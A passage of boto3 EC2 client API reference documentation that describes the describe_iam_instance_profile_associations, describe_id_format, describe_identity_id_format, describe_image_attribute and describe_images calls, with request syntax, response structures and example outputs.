Dedicated Host doesn't have an associated reservation. + + * **Instances** _(list) --_ + + The IDs and instance type that are currently running on the Dedicated Host. + + * _(dict) --_ + + Describes an instance running on a Dedicated Host. + + * **InstanceId** _(string) --_ + + The ID of instance that is running on the Dedicated Host. + + * **InstanceType** _(string) --_ + + The instance type (for example, m3.medium ) of the running instance. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the instance. + + * **State** _(string) --_ + + The Dedicated Host's state. + + * **AllocationTime** _(datetime) --_ + + The time that the Dedicated Host was allocated. + + * **ReleaseTime** _(datetime) --_ + + The time that the Dedicated Host was released. + + * **Tags** _(list) --_ + + Any tags assigned to the Dedicated Host. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **HostRecovery** _(string) --_ + + Indicates whether host recovery is enabled or disabled for the Dedicated Host. + + * **AllowsMultipleInstanceTypes** _(string) --_ + + Indicates whether the Dedicated Host supports multiple instance types of the same instance family, or a specific instance type only. one indicates that the Dedicated Host supports multiple instance types in the instance family. off indicates that the Dedicated Host supports a single instance type only. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the Dedicated Host. + + * **AvailabilityZoneId** _(string) --_ + + The ID of the Availability Zone in which the Dedicated Host is allocated. + + * **MemberOfServiceLinkedResourceGroup** _(boolean) --_ + + Indicates whether the Dedicated Host is in a host resource group. If **memberOfServiceLinkedResourceGroup** is true , the host is in a host resource group; otherwise, it is not. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_iam_instance_profile_associations(kwargs_) + +Describes your IAM instance profile associations. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeIamInstanceProfileAssociations) + +**Request Syntax** + +response = client.describe_iam_instance_profile_associations( + AssociationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **AssociationIds** (_list_) -- + + The IAM instance profile associations. + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. + + * instance-id - The ID of the instance. + * state - The state of the association (associating | associated | disassociating ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'IamInstanceProfileAssociations': [ + { + 'AssociationId': 'string', + 'InstanceId': 'string', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'State': 'associating'|'associated'|'disassociating'|'disassociated', + 'Timestamp': datetime(2015, 1, 1) + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **IamInstanceProfileAssociations** _(list) --_ + + Information about the IAM instance profile associations. + + * _(dict) --_ + + Describes an association between an IAM instance profile and an instance. + + * **AssociationId** _(string) --_ + + The ID of the association. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Id** _(string) --_ + + The ID of the instance profile. + + * **State** _(string) --_ + + The state of the association. + + * **Timestamp** _(datetime) --_ + + The time the IAM instance profile was associated with the instance. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified IAM instance profile association. + +response = client.describe_iam_instance_profile_associations( + AssociationIds=[ + 'iip-assoc-0db249b1f25fa24b8', + ], +) + +print(response) + +Expected Output: + +{ + 'IamInstanceProfileAssociations': [ + { + 'AssociationId': 'iip-assoc-0db249b1f25fa24b8', + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::123456789012:instance-profile/admin-role', + 'Id': 'AIPAJVQN4F5WVLGCJDRGM', + }, + 'InstanceId': 'i-09eb09efa73ec1dee', + 'State': 'associated', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_id_format(kwargs_) + +Describes the ID format settings for your resources on a per-Region basis, for example, to view which resource types are enabled for longer IDs. This request only returns information about resource types whose ID formats can be modified; it does not return information about other resource types. + +The following resource types support longer IDs: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + +These settings apply to the IAM user who makes the request; they do not apply to the entire AWS account. By default, an IAM user defaults to the same settings as the root user, unless they explicitly override the settings by running the ModifyIdFormat command. Resources created with longer IDs are visible to all IAM users, regardless of these settings and provided that they have permission to use the relevant Describe command for the resource type. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeIdFormat) + +**Request Syntax** + +response = client.describe_id_format( + Resource='string' +) + +Parameters + +**Resource** (_string_) -- The type of resource: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Statuses': [ + { + 'Deadline': datetime(2015, 1, 1), + 'Resource': 'string', + 'UseLongIds': True|False + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **Statuses** _(list) --_ + + Information about the ID format for the resource. + + * _(dict) --_ + + Describes the ID format for a resource. + + * **Deadline** _(datetime) --_ + + The date in UTC at which you are permanently switched over to using longer IDs. If a deadline is not yet available for this resource type, this field is not returned. + + * **Resource** _(string) --_ + + The type of resource. + + * **UseLongIds** _(boolean) --_ + + Indicates whether longer IDs (17-character IDs) are enabled for the resource. + + +describe_identity_id_format(kwargs_) + +Describes the ID format settings for resources for the specified IAM user, IAM role, or root user. For example, you can view the resource types that are enabled for longer IDs. This request only returns information about resource types whose ID formats can be modified; it does not return information about other resource types. For more information, see [Resource IDs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/resource-ids.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +The following resource types support longer IDs: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway . + +These settings apply to the principal specified in the request. They do not apply to the principal that makes the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeIdentityIdFormat) + +**Request Syntax** + +response = client.describe_identity_id_format( + PrincipalArn='string', + Resource='string' +) + +Parameters + +* **PrincipalArn** (_string_) -- + + **[REQUIRED]** + + The ARN of the principal, which can be an IAM role, IAM user, or the root user. + +* **Resource** (_string_) -- The type of resource: bundle | conversion-task | customer-gateway | dhcp-options | elastic-ip-allocation | elastic-ip-association | export-task | flow-log | image | import-task | instance | internet-gateway | network-acl | network-acl-association | network-interface | network-interface-attachment | prefix-list | reservation | route-table | route-table-association | security-group | snapshot | subnet | subnet-cidr-block-association | volume | vpc | vpc-cidr-block-association | vpc-endpoint | vpc-peering-connection | vpn-connection | vpn-gateway + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Statuses': [ + { + 'Deadline': datetime(2015, 1, 1), + 'Resource': 'string', + 'UseLongIds': True|False + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Statuses** _(list) --_ + + Information about the ID format for the resources. + + * _(dict) --_ + + Describes the ID format for a resource. + + * **Deadline** _(datetime) --_ + + The date in UTC at which you are permanently switched over to using longer IDs. If a deadline is not yet available for this resource type, this field is not returned. + + * **Resource** _(string) --_ + + The type of resource. + + * **UseLongIds** _(boolean) --_ + + Indicates whether longer IDs (17-character IDs) are enabled for the resource. + + +describe_image_attribute(kwargs_) + +Describes the specified attribute of the specified AMI. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImageAttribute) + +**Request Syntax** + +response = client.describe_image_attribute( + Attribute='description'|'kernel'|'ramdisk'|'launchPermission'|'productCodes'|'blockDeviceMapping'|'sriovNetSupport', + ImageId='string', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The AMI attribute. + + > **Note** : Depending on your account privileges, the blockDeviceMapping attribute may return a Client.AuthFailure error. If this happens, use DescribeImages to get information about the block device mapping for the AMI. + +* **ImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the AMI. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'ImageId': 'string', + 'LaunchPermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'Description': { + 'Value': 'string' + }, + 'KernelId': { + 'Value': 'string' + }, + 'RamdiskId': { + 'Value': 'string' + }, + 'SriovNetSupport': { + 'Value': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + Describes an image attribute. + + * **BlockDeviceMappings** _(list) --_ + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **LaunchPermissions** _(list) --_ + + The launch permissions. + + * _(dict) --_ + + Describes a launch permission. + + * **Group** _(string) --_ + + The name of the group. + + * **UserId** _(string) --_ + + The AWS account ID. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **Description** _(dict) --_ + + A description for the AMI. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **KernelId** _(dict) --_ + + The kernel ID. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **RamdiskId** _(dict) --_ + + The RAM disk ID. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + * **SriovNetSupport** _(dict) --_ + + Indicates whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + * **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +**Examples** + +This example describes the launch permissions for the specified AMI. + +response = client.describe_image_attribute( + Attribute='launchPermission', + ImageId='ami-5731123e', +) + +print(response) + +Expected Output: + +{ + 'ImageId': 'ami-5731123e', + 'LaunchPermissions': [ + { + 'UserId': '123456789012', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_images(kwargs_) + +Describes the specified images (AMIs, AKIs, and ARIs) available to you or all of the images available to you. + +The images available to you include public images, private images that you own, and private images owned by other AWS accounts for which you have explicit launch permissions. + +Recently deregistered images appear in the returned results for a short interval and then return empty results. After all instances that reference a deregistered AMI are terminated, specifying the ID of the image results in an error indicating that the AMI ID cannot be found. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +response = client.describe_images( + ExecutableUsers=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ImageIds=[ + 'string', + ], + Owners=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **ExecutableUsers** (_list_) -- + + Scopes the images by users with explicit launch permissions. Specify an AWS account ID, self (the sender of the request), or all (public AMIs). + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. + + * architecture - The image architecture (i386 | x86_64 | arm64 ). + * block-device-mapping.delete-on-termination - A Boolean value that indicates whether the Amazon EBS volume is deleted on instance termination. + * block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + * block-device-mapping.snapshot-id - The ID of the snapshot used for the EBS volume. + * block-device-mapping.volume-size - The volume size of the EBS volume, in GiB. + * block-device-mapping.volume-type - The volume type of the EBS volume (gp2 | io1 | io2 | st1 | sc1 | standard ). + * block-device-mapping.encrypted - A Boolean that indicates whether the EBS volume is encrypted. + * description - The description of the image (provided during image creation). + * ena-support - A Boolean that indicates whether enhanced networking with ENA is enabled. + * hypervisor - The hypervisor type (ovm | xen ). + * image-id - The ID of the image. + * image-type - The image type (machine | kernel | ramdisk ). + * is-public - A Boolean that indicates whether the image is public. + * kernel-id - The kernel ID. + * manifest-location - The location of the image manifest. + * name - The name of the AMI (provided during image creation). + * owner-alias - The owner alias, from an Amazon-maintained list (amazon | aws-marketplace ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + * owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + * platform - The platform. To only list Windows-based AMIs, use windows . + * product-code - The product code. + * product-code.type - The type of the product code (devpay | marketplace ). + * ramdisk-id - The RAM disk ID. + * root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + * root-device-type - The type of the root device volume (ebs | instance-store ). + * state - The state of the image (available | pending | failed ). + * state-reason-code - The reason code for the state change. + * state-reason-message - The message for the state change. + * sriov-net-support - A value of simple indicates that enhanced networking with the Intel 82599 VF interface is enabled. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * virtualization-type - The virtualization type (paravirtual | hvm ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **ImageIds** (_list_) -- + + The image IDs. + + Default: Describes all images available to you. + + * _(string) --_ +* **Owners** (_list_) -- + + Scopes the results to images with the specified owners. You can specify a combination of AWS account IDs, self , amazon , and aws-marketplace . If you omit this parameter, the results include all images for which you have launch permissions, regardless of ownership. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Images': [ + { + 'Architecture': 'i386'|'x86_64'|'arm64', + 'CreationDate': 'string', + 'ImageId': 'string', + 'ImageLocation': 'string', + 'ImageType': 'machine'|'kernel'|'ramdisk', + 'Public': True|False, + 'KernelId': 'string', + 'OwnerId': 'string', + 'Platform': 'Windows', + 'PlatformDetails': 'string', + 'UsageOperation': 'string', + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'RamdiskId': 'string', + 'State': 'pending'|'available'|'invalid'|'deregistered'|'transient'|'failed'|'error', + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'Description': 'string', + 'EnaSupport': True|False, + 'Hypervisor': 'ovm'|'xen', + 'ImageOwnerAlias': 'string', + 'Name': 'string', + 'RootDeviceName': 'string', + 'RootDeviceType': 'ebs'|'instance-store', + 'SriovNetSupport': 'string', + 'StateReason': { + 'Code': 'string', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VirtualizationType': 'hvm'|'paravirtual' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Images** _(list) --_ + + Information about the images. + + * _(dict) --_ + + Describes an image. + + * **Architecture** _(string) --_ + + The architecture of the image. + + * **CreationDate** _(string) --_ + + The date and time the image was created. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **ImageLocation** _(string) --_ + + The location of the AMI. + + * **ImageType** _(string) --_ + + The type of image. + + * **Public** _(boolean) --_ + + Indicates whether the image has public launch permissions. The value is true if this image has public launch permissions or false if it has only implicit and explicit launch permissions. + + * **KernelId** _(string) --_ + + The kernel associated with the image, if any. Only applicable for machine images. + + * **OwnerId** _(string) --_ + + The AWS account ID of the image owner. + + * **Platform** _(string) --_ + + This value is set to windows for Windows AMIs; otherwise, it is blank. + + * **PlatformDetails** _(string) --_ + + The platform details associated with the billing code of the AMI. For more information, see [Obtaining Billing Information](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **UsageOperation** _(string) --_ + + The operation of the Amazon EC2 instance and the billing code that is associated with the AMI. usageOperation corresponds to the [lineitem/Operation](https://docs.aws.amazon.com/cur/latest/userguide/Lineitem-columns.html#Lineitem-details-O-Operation) column on your AWS Cost and Usage Report and in the [AWS Price List API](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/price-changes.html) . For the list of UsageOperation codes, see [Platform Details and Usage Operation Billing Codes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html#billing-info) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **ProductCodes** _(list) --_ + + Any product codes associated with the AMI. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **RamdiskId** _(string) --_ + + The RAM disk associated with the image, if any. Only applicable for machine images. + + * **State** _(string) --_ + + The current state of the AMI. If the state is available , the image is successfully registered and can be used to launch an instance. + + * **BlockDeviceMappings** _(list) --_ + + Any block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **Description** _(string) --_ + + The description of the AMI that was provided during image creation. + + * **EnaSupport** _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + * **Hypervisor** _(string) --_ + + The hypervisor type of the image. + + * **ImageOwnerAlias** _(string) --_ + + The AWS account alias (for example, amazon , self ) or the AWS account ID of the AMI owner. + + * **Name** _(string) --_ + + The name of the AMI that was provided during image creation. + + * **RootDeviceName** _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + * **RootDeviceType** _(string) --_ + + The type of root device used by the AMI. The AMI can use an EBS volume or an instance store volume. + + * **SriovNetSupport** _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + * **StateReason** _(dict) --_ + + The reason for the state change. + + * **Code** _(string) --_ + + The reason code for the state change. + + * **Message** _(string) --_ + + The message for the state change. + + * Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + * Server.InternalError : An internal error caused the instance to terminate during launch. + * Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + * Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + * Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + * Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + * Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + * Client.InternalError : A client error caused the instance to terminate during launch. + * Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + * Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + * Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + * Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + * **Tags** _(list) --_ + + Any tags assigned to the image. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VirtualizationType** _(string) --_ + + The type of virtualization of the AMI. + + +**Examples** + +This example describes the specified AMI. + +response = client.describe_images( + ImageIds=[ + 